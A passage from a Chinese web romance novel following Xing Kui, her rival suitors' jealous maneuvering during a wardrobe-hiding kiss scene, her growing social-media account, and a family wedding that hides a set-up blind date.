停在泛红耳垂旁的红唇微弯,随后靠近,轻轻地贴了下她的耳垂:“好。” 捂着脸的邢葵压根静不下来,江玉鸣舔指的那一幕就如某抖的短视频,在她的脑海播放完一遍又一遍,跟她□□,又不愿和她假结婚,真想打他。 棉布窸窸窣窣移动,邢葵张开手指,从缝隙中偷望,床单被套枕套都是她会喜欢的清新风格,以豆绿色为底色,绿叶黄瓣的向日葵为花纹,江玉鸣还蛮会挑的。 他也很会套,每次她套被子都会气喘吁吁,但江玉鸣就很从容,大概是因为力气大、手臂长、手指也长…… 又想到那一幕,邢葵害羞非常,低头捂紧脸,热量从身后接近,江玉鸣自身后圈住她:“套完了,可以奖励我一个吻吧?” 他像一只妖精,忙碌了一圈又回到了诱惑主人的目的。 “不可以吗?你单身我也单身,彼此能尽享肉身欢愉,这里也没监控,当然你想拍我也愿意。” 厉乘川就住在右边,周镜就住在右边对门,江玉鸣身为他们好兄弟,却跪在他们觊觎的未婚妻身后,抱着她,眸眼鼻息皆写着兴奋。 “录下来,正好,周镜亲得你痛的时候,你能看看我们的视频,我比他让你舒服多了,对不对?” 妈妈他好疯! “不过,你应当不会再让周镜亲你了吧,你想换目标了?” “你怎么知道?”邢葵惊讶放下挡脸的手,撇头看向好似一切尽在掌握中的江玉鸣,“我没跟你讲呀。” 炙热的手掌摸着她的脸,江玉鸣轻笑:“很好猜啊,一天之内就从周镜家搬出来,我很难猜不中。” “……”真的有那么好猜吗?是他太聪明好吧! “让我想想,你和周镜的关系或许已经进入了新的阶段,前方出现一道关卡,但你们中有人不愿意迈过去。” “……”全对。 “邢葵,我不建议你这个时候放弃,既然都要成功了——”江玉鸣抬起她的脸,危险的目光洋溢着侵略性,似毒蛇哄孩子,“再努努力好吗?” 可是……迈不过关卡的人是她不是周镜啊?江玉鸣是不是不清楚这一点? 放在腿边的手机亮起,邢葵用余光一看:“周镜说他在门外!” 玄关,邢葵抓着已经变温的牛奶,一口干到底,深深地吸了一口气,解锁大门,一愣。 周镜穿着灰色睡衣,也许刚洗过澡,清瘦颀长的身体传来些沐浴露的香气,手里拿着一只鹅黄色吹风机,他大晚上穿着睡衣来她家干嘛?! “葵葵。”周镜清隽的眉眼流淌着温柔,递给她吹风机,“你刚搬家,有很多必需品还没添置,我去买了只吹风机,今晚你洗头可以用。” 吹风机,很实用!邢葵接过来,但心虚得不敢和周镜对视,方才,江玉鸣不肯躲,非逼着她说他的吻技比周镜的好。她都不知道怎么说出口的,只记得说完后,感觉脑子都在天花板上飘。 脸也热。 “你的脸很红。”周镜走进屋子,关上大门,就在邢葵提起心脏时,他扫过她手上拿的杯子,“是刚喝的牛奶太烫了吗?” 邢葵点头应和:“是的。” “那就好。”周镜神色温和,往前迈了一步,骨节分明的手指握上杯身,暖烘烘的指节叠上她的指节,双眸直视着她,“我还以为你在家藏了人,毕竟以前厉乘川来访,你藏起我后,也像这样假装喝牛奶。” 汗流浃背了周律师,邢葵头皮发麻,感觉本就飘在天花板的脑子已经飘出了这个家,她只能窘迫地笑:“都很久前的事了。” 新房子的隔音不比周镜家好,他们俩要在这儿闹出什么动静,在卧室的江玉鸣一定听得见,邢葵想赶周镜走,可周镜的智商不亚于江玉鸣,她不能表露得太明显,只好陪着说话。 “我能去你的卧房看看吗?” “什么?” 周镜已然动身,邢葵慌张地瘸腿追在后头,“你慢点!慢点!我腿没你长!” 走在前面的人止住,周镜转过身,关切地道:“我走得并不快,是你腿又疼了吗?我可以抱你。” “不是,就是……”邢葵走近他,纠结地扯住他的睡衣衣角,“我,你来之前我正想去洗澡,所以……这会儿我内衣什么的正放在床上。” 指尖将棉质睡衣揪出褶皱,周镜耳尖浮出浅红,抵唇咳了声,不自在地撇开脸。 邢葵臊得慌,但起码这劫算是渡过去了。 “不用担心,终归只是件衣物,你不好意思,我不看床便是。” 周镜反手开门。 邢葵震惊,却已然无法阻止。 房门打开,内里空无一人,周镜的视线避开床一块块地扫,当真没有人,他还以为…… “你来我房里干嘛?”邢葵夺走周镜注意,同时也偷看室内,幸好,江玉鸣应该是听到了动静,提前藏了起来,卧室能藏人的地方只有靠近门的衣柜。 “就是想看看你有没有缺的,我好买。”周镜望过来,“听厉乘川说你在做自媒体,周梨一直在跟我要你的联系方式,也许你们能加一下微信,她能帮到你,虽然她不红,好歹也是个明星。” 邢葵眼睛亮了亮:“那太谢谢了,不过我就和厉乘川讲了一点点,他居然转告给了你,你们兄弟感情真好。” 不,厉乘川跟周镜说,是想到周梨能帮助邢葵做自媒体,问问周镜意见。 这些弯弯绕绕就没必要和邢葵讲了,他没道理帮情敌加分。 “明天我去你的旧家帮你搬家,到时会打视频给你,你把要带走的东西点给我。”周镜踱了几步,走向衣柜,“不知道你缺不缺衣架。” 砰!周镜伸手,说时迟那时快,邢葵横到了他和衣柜之间,后背和柜门撞出声响:“不缺,我旧家有衣架,你带过来就成。” 周镜看向衣柜,邢葵两手一把掰正他的脸,“别看我衣柜,还没收拾,很乱的!” 两只手臂狭窄周镜的视野,他在邢葵红着脸的注视中张唇:“其实我是想看看,这衣柜方不方便藏人,下次厉乘川过来,我好躲。” 邢葵屏住呼吸,紧张得无以复加。 这个问题,躲在衣柜里的江玉鸣有发言权,他站在密得近乎不透风的黑暗中,瑰丽的眉眼阴沉,很想说:衣柜很大,很方便躲。 并且一点都不隔音,也方便偷听。 “我可以吻你吗?” 看,他听到了某人在发情。 吻就吻吧,反正技术没他好,亲了,他在衣柜里嘲笑。 邢葵眼前,周镜神色柔和,没有强行落吻,而是凝视着她,在绅士地征询意见。 “这件事我欠你,葵葵,从前我用力没轻重,你给我一个弥补机会。” 他说得很认真,神情专注,实际上,咳,过去那二十多次吻挺带感的,如果能降低些频率,改成偶尔尝尝,会很刺激。 邢葵想起江玉鸣几分钟前的劝告,江医生的意思是,成功近在咫尺,他劝她坚持下去。 周镜想要走进她的内心,她能试试让周镜走进来吗? 她不知道,她心里有点乱。 假结婚是不该上升到心灵层面的。 周镜要的不止是吻,邢葵曾以渴肤症为切入点攻略周镜,如今周镜也反过来在以肌肤触碰追她,他最终要的是真正的结婚。 那故事就不一样了。 “你能亲得很好吗?”邢葵彷徨地发问,你能做得很好吗?她明白周镜想在她身上切个口,但是,他能不让她流血地钻进来吗? 周镜抚摸她的脸庞,动作轻柔又克制,俨如抚慰,深邃的眼睛底也盛着缱绻柔意。 他低下头来。 邢葵不知道,真的不知道。 周镜给她的感觉人很不错,可她小时候也觉得有位照顾生病妻子的叔叔很不错,知事后才得知,那位叔叔在妻子病期就出了轨,更在妻子病逝后不久就迎三入门。 她小时候也觉得她的爸爸很不错,后来邢母让她看一位阿姨的照片,问她是阿姨漂亮还是她漂亮的时候,她才顿觉所谓老实人的父亲是怎样不可回收的垃圾。 真正的婚姻,是邢葵畏惧的事。 一根长针递到邢葵手里,是早前周梨拿的那根。 “做得不好,你惩罚我。” 周镜揽住她的腰,覆上她的唇瓣,以前他是不准她回应的,今天却给足了她回应的空间。 “葵葵,动一动。” “这样会痛吗?” “这里要不要轻一些?” 温柔询问的话语钻噬着唇齿,也在耳窝搅起酥酥麻麻,邢葵握紧手中尖细的长针,耳朵红到滴血,没她发话,周镜不主动加深,就像拿了根羽毛,只将顶端拂在心口,搔来搔去,却不落下。 不上不下,最是勾人。 “你重一点。”邢葵憋不住勾住他的舌,得到他一声轻嘶和遏不住的喘。 “这里也要重一点吗?”周镜的手掌极有存在感地压在她的脊柱沟,滚烫得如烧红溅火星的碳。 邢葵害羞,小声地“嗯”,一吻绵长,这里需要重一些,那里需要轻一些,两人一个控着力道在学习,一个顶着羞涩在引导。 亲到不知多久时,在气喘连连中视线交汇,双方都失控地弯唇笑了。 柜子里的江玉鸣笑不出来。 隔着一面黑色木板,隔着两厘米的厚度,江玉鸣就站在邢葵身后,绯红的唇角抿着、抽搐着。 衣柜外,周镜再次扶住邢葵后脑勺,将她抵在衣柜上含住她的唇,柜门吱吱呀呀地响。 瘦长的手指压着发丝,漆黑的眼睛睨向衣柜。 他知道,里面藏了人。 第32章 被亲的邢葵已经忘了身后衣柜里还藏着个人。 直到水漉漉的眼眸无意间睁开一条缝隙,瞄见套好四件套的床,绿色叶片黄色花瓣的向日葵撞进眼里,她飞到夜空的脑子咻地一下回归。 完啦!衣柜能隔什么音,莫说“轻一点”、“重一点”的教学,江玉鸣恐怕连她的喘气声都听见了! 周镜亲得她晕乎乎的,冷静,虽然羞耻,但应该没事,江玉鸣可是费尽心思想撮合他们,他们动静越大他越开心才对。 还是很羞耻,邢葵不想亲了,咬咬周镜。 “别咬。”喑哑的声音喂进嘴里,被邢葵吞咽,周镜退开来,唇瓣嫣红,为属于绅士文雅清俊的面容描摹上两行欲色,“葵葵,还行吗?” 那当然咯,不行她怎么会发晕。 邢葵红着脸点点头。 “和其他人比呢?” 周镜温柔询问,抓住邢葵手指,余光微不可觉地瞥着衣柜。 他指的其他人是厉乘川。 难以确定藏在衣柜里的人是谁,不过这栋楼里只有周镜和厉乘川两个兄弟,也许是他去买吹风机的时候,洗得粉粉的厉乘川过来了。 又也许不是厉乘川,是有人和他一样在偷偷撬墙角。 邢葵眨眼睛:“什么其他人?我又没亲过很多人。” 周镜莞尔,他是很少笑的人,每一次笑都让邢葵感到惊艳,就像灰色的纸张突然绽开颜色,黑色的钢笔突然写出彩字。 “忽然想起来,江玉鸣在教你追我。” 邢葵一惊,睫毛下意识抖了抖,真的是忽然想起来的吗?她心脏惴惴不安地跳。 你会如何回答呢? 衣柜里,江玉鸣竖起耳朵,并不因为周镜逮住他的尾巴而露出半分慌乱,这件事本就在他预测之中。 只是很好奇邢葵会如何应对,是否会和他撇清关系……撇清关系是不错的做法,最好邢葵能表现得凶一点,在周镜面前骂骂他。 幻想到邢葵揪起五官怯生生骂人、又骂不出脏话的画面,江玉鸣眼里流露出兴奋。 “是这样。”邢葵嗫嚅,“他就是帮帮我,出出主意之类的,也是我麻烦的他,聊天记录你不是都看了,你别怪他。” 江玉鸣微微一怔,想象中的画面在一瞬间破碎重组,变成邢葵胆怯又勇敢地挡在他身前、向另一个男人维护他,嘴角翘起,呼吸加速,成倍兴奋。 “我想他在骗你,葵葵。” 周镜打断江玉鸣的雀跃,扣住邢葵五指,透着关切的嗓音因为先前的吻还有些哑,“与蛇共舞,小心中毒,江玉鸣是救死扶伤的医生,却绝非会发慈悲的菩萨。” 贱人,江玉鸣差点将牙咬碎。 孱弱的手指被周镜缠得很紧,邢葵低着头心脏止不住地急速跳动。 上一回也是室内、衣柜,厉乘川警告她远离周镜,被藏着的周镜听见。 这一回换了间房,相似环境,周镜提点她小心江玉鸣,被藏着的江玉鸣听见。 妈妈,她这一天天的,怎么都这么刺激? 周镜说的话因为江玉鸣就在她身后,她很不好回复,要是顺着周镜说,她怕柜子里的江玉鸣气得跑出来,要是逆着周镜说,她怕周镜再接着反驳,然后将柜子里的江玉鸣气出来。 干脆别回好了,邢葵踮起脚尖,凑近周镜的脸,口齿间薄荷和牛奶味交织着往他面上扑:“这么关心我啊?还是有意拖延时间,不想离开我家?” 气息侵袭周镜面颊,他眸中幽暗下来,喉结轻动:“都有。”他用余光看向衣柜,攥紧邢葵被他控着的手指,“要继续吗?”他贴到她耳边,“你说想要酣畅淋漓。” “!”邢葵惊愕地望向他,当即往回缩,“不、不、不好吧。” “今天不合适吗?”周镜瞄着衣柜,说话音量刚好能让衣柜里的人听清,“今日气温适宜,感觉也好,我正巧也能向你证明,我/干干净净,周梨完全是空口白牙诽谤。” 柜子里的江玉鸣弯腿坐下,浸泡在属于邢葵的衣物里,单手捂住脸,耳朵上方的碎发都在颤抖。 嫉妒、愤怒、兴奋。 好孩子,可不能答应了周镜,他也很想听她委委屈屈地叫轻一点重一点,但却是要亲眼看着她水粉色的唇被纠缠成炽红,亲眼看着她的眼眸朦胧迷离。 可不能让他在这里听啊。 “别了,别了。”邢葵连忙晃头,要不是颅内有伤,恨不得将头摇出重影。 她一个零经验的菜鸟,别一上来就给她上“一个男人在床上、一个男人在衣柜”的难度,羞耻到爆炸好吗? “那什么,这个时间点我妈可能会给我打电话,我手机开的静音,你让我去看看,是不是已经打过了。”她慌张逃跑。 周镜移步,不意外她的拒绝,原本他就是刻意讲给躲衣柜的人听的。 都这样说了,躲着的人还没出来,看来不会是厉乘川。 要是厉乘川,被抢了看中的人,他估计会踹开柜门,端起床头柜,直接砸小三身上,不见血不罢休。 排除掉厉乘川,谁能有如此级别的忍性? 邢葵来到床边:“我妈真给我打过电话哎。”按压胸口平复了下心情,邢葵回播过去,扬起嘴角,“喂,妈,我刚有事没接到。” 她这边开的语音,邢母那边开的视频通话,视频中的邢母正在打麻将,哗哗的麻将声模糊了说话声,邢葵不得不调高音量。 “又看不到你人哦,成天不跟我打视频,腿好多了吧?”邢母关心女儿。 邢葵笑着回复母亲:“嗯,头也好多了,我昨儿不是跟你说,再过几天我都能跑了嘛。” “别跑哦,伤筋动骨一百天呢!”邢母急忙劝告。 “我开玩笑呢。”邢葵甜甜地笑。 这不是周镜和江玉鸣第一次听到她和邢母通话,每次她和她妈妈讲话都表现得特别欢悦,无论她当下的状态如何,对邢母,邢葵总是积极的。 邢母也在意女儿,否则也不会被刺激到扭曲记忆,只是她的愚昧让她偶尔伤人不自知。 “我刚打电话给你,是要跟你说件事。下个月你知乐妹妹结婚,在昆武市,到时候男方租大巴车,把我们家这边亲戚都带过去吃喜酒,你也去,昆武和京江近,我听你婶说,坐高铁十分钟就到了。” “啊?”邢葵苦脸,好多亲戚在的场合,她一听就不愿意去,“我脸上有疤呢,不太想去吃酒。” “当我不晓得你在跟我找借口啊,上次还跟我说,戴帽子就看不到了,你戴着帽子去,不上班还不去吃酒,不要找话给人家说。” 哪能呐,邢葵摸了摸后颈,家长总是不懂,儿女不去现场就算有人在意,讲个一两句就结束了,但若身处现场,谈论能无限加时。 “就这么定了,你过来吃饭,出了一千块钱份子呢。” “什么?!”邢葵正色,“邢春霞女士,你工资才两三千!一千块,你当钱是大风刮来的!” “别啰嗦哦,现在家家都出这么多,你别说这种话让人家笑,就告诉我,来不来吃饭?” “来。”很多长辈都这样死要面子活受罪吗?邢葵扶住隐隐作疼的头,咬牙,“来,我要把这个钱吃回来。” 挂断电话,邢葵不止头痛,连心脏都跟着痛,看向周镜,忍不住强调:“你听到没,一千块呢!”一千块就吃两顿饭!一千块能吃多少顿螺蛳粉! 单听一千块周镜并没有实感,如他这个财富阶层的人,出份子都是送古董送珠宝,再发个由很多“8”组成的红包。 可他们是何等财力,邢母月薪不过两三千,算算人情费占比,周镜能领会邢葵心情。 “看来明天起我要买菜自己做饭了,我要把这笔钱省出来。”邢葵低头看腿,腿伤现状应该能支撑她站着烧几道菜。 “要吃什么我给你买。”周镜走上前,“别委屈自己。” 邢葵哪好意思,在周镜家时,周镜带吃的,她也会要求跟他AA:“没事啦,自己烧也健康,你挣钱也不容易。”你还开十小几万的车呢。 周镜挑了下眉,没说过去那些AA,饭菜价格都是他往便宜编的。 并且邢葵住在他家,每住一天,厉乘川都会给他转账一千,这些不重要的事没有告知邢葵的必要。 光是省钱还不够,邢葵满脑子都是一千块,连房间里此刻有两个男人都忘了,急得原地走,忽地眼睛一亮,扑上去抓住周镜:“你之前说,妹妹想加我是么?” 周梨,明星,让她配合她发自媒体,肯定能涨粉收获广告! 周镜怔然:她喊他妹妹,妹妹? 江玉鸣微笑:妹妹都叫上了。 2027年4月9日,农历三月三,宜结婚。 此时距离二月底那场车祸已经过去一个多月,邢葵走路仍有轻微的跛,若压住疼痛走,已能和常人步行无异。 额头的伤也在恢复,不知道是不是有淤血,或是当时缝针时伤口没清洁干净,疤痕呈现很深的黑色。 上午十点,灿烂的阳光洒在屋子里,戴上许野的咖啡色帽子挡住疤痕,邢葵走到全身镜前换衣服,心情很好地笑。 过去一段时间,她不仅成功将今天的饭钱挣了回来,还多赚了两千块。 起因是在社媒写了律师男的妹妹是明星,没直白挑明身份,但描述的几个特征会让人联想到周梨。粉粉黑黑和吃瓜路人在评论区搅动风云,令邢葵账号全平台都小爆了一波。 小红薯粉丝过两万,微博三万,某抖六万…… 她因此接下人生第一个广,是款电动牙刷,品牌方寄给她先让她试用,试过后邢葵觉得是不错,质量与价格匹配,就接了单。 全平台推广费三千,她争气地把人情费完美赚回! 至于在网上发的内容,邢葵提前和周梨打过招呼,不用她做什么,别回应就行。 事实上,周梨没周镜厉乘川说得那么不红,算是争议很多的二三线,前段时间出逃综艺节目组,正处风口浪尖。 编写文案时邢葵斟酌了好久措辞,尽管周梨本人热情地要求她使用“绑架”“男模”“自杀威胁”等吸睛字眼,但邢葵是没写的,只说律师男的妹妹误以为她和哥哥谈恋爱,赶回国见她。 部分粉丝愿意认证这种说法:【我就知道我们梨梨不会无缘无故发癫,原来是为了家人,太感动了】 部分粉丝不认:【抱走梨梨,梨梨从没提过有哥哥,营销号无下限乱编4000+】 黑粉认定就是周梨:【蠢梨没事吧?粉丝别跟我说赔钱道歉了啊,以后哪个节目还敢用她。】 各有各的角度,还有人觉得周梨这波反向给还没播的节目博来大量关注,节目组嘴快笑歪了,更多人认为邢葵在不要脸蹭热度编故事。 网络上真就什么都能骂,邢葵尽力当看不见,有时候会有过激的言论,不知道被谁举报还是平台的保护机制起作用,眨眼功夫就会消失。 有的人很聪明,会字字不过激地过审,实际表达的意思比露骨的器官类脏话更恶毒。 以小红薯为例,这时,邢葵会在评论区看到某个牛角包头像,科普严谨专业的法律知识,一般对方收到都会删评。 她知道,那是周镜,牛角包是小红薯系统随机分配的初始头之一。 除了周镜,还有两个人也常常给她点赞收藏。 一个头像是红色西瓜,只会收藏夸赞江医生的帖子。 江玉鸣和她 自曝过,就是他。有时候他还会发信息给她,跟她说哪里夸得过于含蓄,得重复三遍强调。 无语啦,邢葵回了个“锤头”表情包。 他回:【(可爱.jpg)(乖巧.jpg)(心碎碎.jpg)】 另一个头像是蓝色钻石,疑似是厉乘川,没想到总裁也爱看夸夸。 白色小皮包挎上浅黄色翻领短款外套,邢葵离开穿衣镜,拿上充电宝身份证放包里,走到玄关换上方便走路的白色运动鞋,起身开门。 刚呼吸到走廊空气,右边厉乘川家的门和右前方周镜家的门同时打开:“要不要我送你?” “呃……”邢葵看看钻石和牛角包,“今天周五,你俩都不用上班吗?” 厉乘川睨了眼周镜:“上不上班我能决定。” 周镜看着邢葵:“委托人放了我鸽子。” 好巧哦,你俩都有空,邢葵摸了摸小包链条:“不用啦,谢谢你们好意,我出小区搭地铁到火车站,再坐十分钟高铁就到昆武了,票都买了。” 她向电梯的方向走,感觉有两道视线黏在她身上,回过身,扬笑招招手,“回来给你们带昆武市特产。” 电梯门一阖上,还开着房门的厉乘川和周镜对视,目露狐疑:“能有委托人敢放你鸽子?” 周镜镇定:“我撒了谎,邢葵如今也是我朋友,帮忙送送无可厚非。” 但如果直接说的话邢葵就能直接感受到他的好意,兄弟妻不可欺——厉乘川点头:“谢谢。” 他在心里唾弃了一下他的疑神疑鬼。 这段时日总是会莫名其妙怀疑周镜,好兄弟会与他人保持距离,可好兄弟之所以能成为好兄弟,前提是他是个好人。 而邢葵品格如玉,碰上事好人是会帮助她的。 “你有没有听她说是在哪个酒店?”若是厉乘川家里的产业,他可以调监控。 “好像叫嘉月,她家里人说是间大酒店。”周镜也不清楚。 “没听说过。”厉乘川皱了皱眉,西装口袋里手机振动,他取出来。 电话里传来焦急的汇报声:“厉总,梁少爷跑回国了,现在不知道人在哪里。” 第33章 “到了美女,方便的话给个好评。”出租车司机停下车,不远处就是邢母说的嘉月大酒店,酒店招牌是内嵌LED的亚克力材料,晚上能发光。 京江到昆武的高铁是只要十分钟,不过从邢葵家到火车站、从高铁到酒店也要时间,她十点多离开的家,这会儿手机显示已经十一点了。 “好嘞,谢谢师傅。”邢葵下车关车门,结算车费、打好评,室外万里晴空,她打开相机拍了张照片,发自媒体记录生活。 只是简简单单的风景照,不必全平台更新,邢葵去点微博,指侧粉色应用吸引她的注意,不由顿了顿。 她在微博、小红薯等平台涨粉速度喜人,唯独B站特殊,迄今才几千粉。 原因邢葵找到了,像B站这样中长视频平台,不适宜她这种图文、简易短视频的创作形式吸粉。 她当前的创作形式实则在其他平台也划定了发展上限,只不过短期内还没显出劣势,邢葵盘算,或许走到镜头前能够破局。 可以戴帽子戴墨镜戴口罩,为此,她研究了挺多出镜但不露脸的大博主,他们中还有人戴头套的,证明该形式有可行性。 思考了一气,邢葵点开微博发她拍的风景照。 好奇怪,微博怎么有那么多人@她? 【@天天奇妙历险,蹭热度的机会到了!给你笔,快编!】 【@天天奇妙历险,快看热搜!我碗摆好了,等你编故事!】 【@天天奇妙历险,天降热度,你可真是好命。】 呃……什么什么跟什么呀? 邢葵困惑地顺着他们的话点开热搜,嚯,热搜好热闹。 #曝热剧小生出逃节目组# #多灾多难的《走吧,去看看吧》综艺# #《走去看》官方发声明# #是自家少爷跑了大家别慌# #《走去看》打工人表示希望少爷别回来# #少爷每逃一天全组多发三天工资# 原来是这个热度,继周梨逃跑之后,又一位明星开溜。这是哪家任性富二代跑去内娱撒钱啦?她上班的时候怎就没遇到。 下面还有热搜: #《走去看》万万没想到以这种方式点题# #《走去看》能逃的嘉宾已经不多了!# 包括实时上升热点,也有好些相关话题,周梨和这位少爷逃的是同一个节目组,广场上因此有许多人@她。 【笑死,周梨逃了你说是去找你,这回又有明星逃了不会还是去找你吧?】 【周梨是哥哥跟你谈恋爱,少爷不会是本人要跟你谈恋爱吧!】 【楼上别给她灵感,我们少爷没惹。】 哪儿的话呀,邢葵抓抓头发,她又不认识什么少爷,少爷怎么会和周梨一样来找她,她不会瞎编故事乱造谣的。 办喜宴的酒店就在前方,三条消息接连跳上,少爷她真不认识,但在自媒体账号上提过的三位优质男她真认识。 厉乘川:【到了吗?】 周镜律师:【到了吗?】 江玉鸣:【到了说一声,我们好孩子心善,容易被人拐跑。】 谁会被拐跑,这三个人是算好时间点给她发的消息吧? 邢葵看着系统默认头,厉乘川,感动南洲好房东,便宜租她房子还关心出行。 看着红白玫瑰花丛,江玉鸣,年度最佳好医生,关心方方面面还贡献方方面面。 最后才看向灰金边框镜子头像,明明周镜是第二个发的消息,邢葵却先跳过了他。 刚才微博上有很多恶评,她注视着周镜头像,想起这段时日周镜帮她删恶评,想起这段时间点点滴滴。 周镜待她真的很好,细枝末节都会尽心相助,邢葵小时候看的童话多是白马王子救各种身份的女性,偶尔她会觉得周镜很贴合白马王子。 但是,邢葵仍没答应周镜的追求,她早就不是扎着几个麻花辫看童话书的小女孩,如今再看一遍美人鱼,她不会难过于小美人鱼没和王子he,而是恨不得穿进书中刷一刷主角的恋爱脑。 人是会变的,她爸追求她妈时也关怀备至,山盟海誓许诺情深不变,可后来又如何? 自衣柜吻后,邢葵没再和周镜接过吻。 她心里乱糟糟,从一开始,她的行动目标就是逃脱催婚,逃脱窒息,如果她接受周镜得到反而是窒息,那怎么办呢? 呼吸了口新鲜空气,邢葵往酒店走过去,店门上方循环播放着祝贺新人的粉色文字:热烈恭贺新郎赵鹏、新娘邢知乐喜结连理…… 确认没走错地方,邢葵低下头,边走边按照收到三人消息的顺序依次回复OK手势emoji。 此时此刻,酒店内。 “酒店入住规定要核对身份证,这位客人,你拿不出身份证,还要赊账,我们真不能为你办理入住。”酒店前台,工作人员面露难色。 前台站着一名高瘦男性,奇装异服,头戴长卷假发,裹着粉色纱巾,一袭桃粉色连衣裙配黑色亮片外套,此外还戴有黑色墨镜和黑色口罩。 “你以为我稀罕住你们这儿?!要不是你们这儿够没有名气,我才不会进来!” 男人嗓音年轻、语气傲慢,说罢,气冲冲扭过包裹纱巾的头,甩着手臂往外走。 那厢,邢葵走进酒店,给所有人都回复完,想再去看一眼微博。 砰的一声,往外走和往内走的两人相撞。 撞得突然又重,邢葵失衡地往后倒去,头都被吓得发晕,打扮怪异的男人也受到惊吓,条件反射地伸手救她。 邢葵想抓他的手,在那一刹那瞅见他离谱诡奇的扮相,妈妈呀!她浑身冒出力量,直接打开他的手,飞快紧急动脚,仿佛原地跳了个踢踏舞,最终靠自己站稳。 “呼~”邢葵按住胸口呼气,眼里惊惶未定,就先暖心关切起她撞到的怪人,“你没事吧?” 男人愣怔一下,讪讪摸起他披假发的后脑勺,低着头,猝然,他像被戳中什么点似 的,猛地扑到她脚下,隔着牛仔裤抓住她的脚踝。 邢葵都呆了,再一看,男人抬起她的脚,原来刚刚男人的手机也跟着摔落,她没踩到,但踩到了手机旁的挂件,粉色的,像个香包。 “我有事!”男人捧着脏掉的香包尖叫,“你踩脏了我的招桃花护身符!” “对不住对不住,能洗干净吗?我帮你洗。”邢葵赶紧道歉。 “你再说一遍?你居然要洗我的桃花!你知道它对我多重要吗?我特意去庙里吃了七七四十九天斋饭,请了七七四十九位大师,颂了七七四十九天经才得到的它!你知道它多&¥#¥#%#……你竟然把我的桃花放脚下踩!” 不,这个人怎么话这么多? “咕咕”,话痨男的肚子冷不丁响起来,他窘迫地撇过头,“你没听见。” 邢葵灵机一动:“要不我请你吃顿饭赔罪?” 话痨男摸摸抗议的肚子,想起他现在防被找到不能用钱,哼道:“勉为其难给你这个荣幸。” “等一下,你身体健康没有传染病吧?”邢葵询问。 “我才做过体检。”话痨男不爽地翻手机,“质疑我,等着,我给你看报告。” “……”这年头谁都有体检报告吗? 酒店三楼,一排一排圆桌,一盘盘凉菜摆放整齐,最前端中心司仪台旁边,邢葵的母亲邢春霞正和新娘的母亲高红梅站在一处。 “酒席都要开始了,葵葵还没到?春霞,你确定葵葵会来?”高红梅脸上化了妆,短发烫成羊毛卷,穿着黑色腊梅花纹旗袍,身材臃肿。 “肯定的,我这个姑娘最看重钱了,为了份子钱肯定要来。”邢母望望左右,吞吞吐吐,“红梅,我觉得今天要不就……” “不能算了,我这边都准备好了。”高红梅凑近,“我特意让我们家知乐老公叫了好多同事过来,就等着和葵葵相亲了。” 今天其实是借婚宴骗邢葵来相亲。 “别犹豫了。”高红梅牵住邢母的手,“咱们也是为葵葵好,早知今天,你当初别让葵葵读那么多书噻,像我们家知乐多好,虽然笨,但本本分分的。” 邢母一僵,挂起虚伪的笑:“没得办法啊,谁让她考上985了,我也很想让她学你家知乐,去技校学学技术。” 高红梅笑容滞了下,接着笑:“所以你们家葵葵无法无天,我们家知乐成功办上人生大事咯,也是你把葵葵惯了狠了,待会儿她来,我得好好教育她。” “妈,红梅婶婶。”婶要教育她什么呀? 头戴鸭舌帽的邢葵领着话痨男登场,她不清楚今天是一场针对她的骗局,但知道这场宴上势必要遇到极品亲戚,保持微笑,“好久不见,婶儿又年轻了。” “哎呦喂。”一被夸奖,高红梅霎时消弭气焰,喜滋滋摸起搽了粉的脸,“哪有啊哪有啊,就是今儿化了点儿小妆。” 邢葵:“原来是这样。” 高红梅:“……” 亲戚间流行虚伪客套,通常而言,邢葵这时候应该逆着高红梅答:不是吧,我觉得你不化妆皮肤也很好。 但邢葵顺着高红梅回答,整得高红梅尴尬不已,表情都冻结了。 邢葵笑颜不改,面前的高红梅是邢母三堂哥,即邢葵三堂叔邢耀祖的老婆,羊毛卷短发,今日是她女儿邢知乐结婚,穿了旗袍以示隆重。 她的旁边是邢母邢春霞,邢家排行老二,爱打麻将和跳广场舞,装扮和外貌都年轻,五十岁看着像四十岁,烫过的黑长头发扎成马尾,涂着口红。 再旁边的圆桌旁,有一名肚子比两个足球大的男人,邢葵望了眼就收回视线,那是她爸,李正军,出轨赘婿,当他不存在吧。 邢葵扫完一圈,高红梅也找到了下台阶的新话题,对着她身边奇装异服的话痨男,眼睛里的嫌弃藏都藏不住:“哟,葵葵,这位是?” “这是我邻居,刚送我过来的。”邢葵介绍。 “哎呀,真谢谢啊,要不你留下来吃饭吧?”高红梅笑呵呵说着客气话,反正客气客气又不要钱,人总不能真留下吃饭。 邢葵也笑,她就知道:“好的呀,谢谢婶婶。”直接拽着话痨男坐下。 高红梅:“……” 邢葵到场不到两分钟,喂高红梅吃了两次瘪。 酒席即将开始,宾客零零散散地落座,话痨男凑到邢葵耳边,头纱下耳尖发红:“这就是你说的请我吃饭?你这是带我蹭饭!我没干过这么丢人的事!” 邢葵眨眨眼,小声地安抚他:“没关系的,不丢人,我们家给过好多礼金的,好多好多。” 她是南方人,说话调子软,为人也老实善良,讲起话来轻轻柔柔,气息穿过纱巾扑在话痨男右耳,他耳廓发痒。 话痨男惊恐地捂住右耳,顿了一下,气哼哼拆起筷子包装:“哄我也没用!你最好祈祷饭菜好吃!” 邢葵愣神,无语,谁哄你啦。 扯掉木筷包装膜,话痨男悄悄瞥她,这个他偶然撞到的、叫邢葵的人还挺聪明的,简单几句话,完全牵着那位婶婶的鼻子走。 砰,空掉的酒杯放到桌面,新娘身旁,高红梅咽下嘴里的水:“气死我了,亏我还好心给她安排相亲,她居然敢带不三不四的人来蹭你的喜酒,没教养的东西。” 邢知乐抚摸她的后背:“别生气了妈,姐认识的,不一定是不三不四的人。” 高红梅冷哼:“不可能不是,她要能认识好男人,至于到现在嫁不出去?” 邢知乐:“那可能姐觉得还不够好呢?” “哎哟,她还想嫁多好?以为能有高富帅要她?别白日做梦了!” 高红梅翻白眼,“能嫁给赵鹏同事就不错了,知乐,你快去让你老公问问他同事想法,你爸说了,这事咱们得上心,把你姐嫁到昆武好跟你有个照应。” 饭桌上,邢葵和邢母交代完她的身体恢复状况,看向坐她左侧的话痨男,好诡异的人,吃饭鬼鬼祟祟。 比如,这会儿他夹起一片牛肉,紧接着就左瞧右看,好似在确认没人注意他,都确认完毕,才极快地从下巴处将黑色口罩掀起一点,把牛肉塞进嘴,然后放下口罩。 动作快到邢葵只能瞅见他的下巴是尖的,唇瓣是粉红色,唇什么形状都瞧不清。 惊呆邢葵:“要不我替你挡着,你摘掉口罩吃吧,你这样吃很不舒服的呀。” 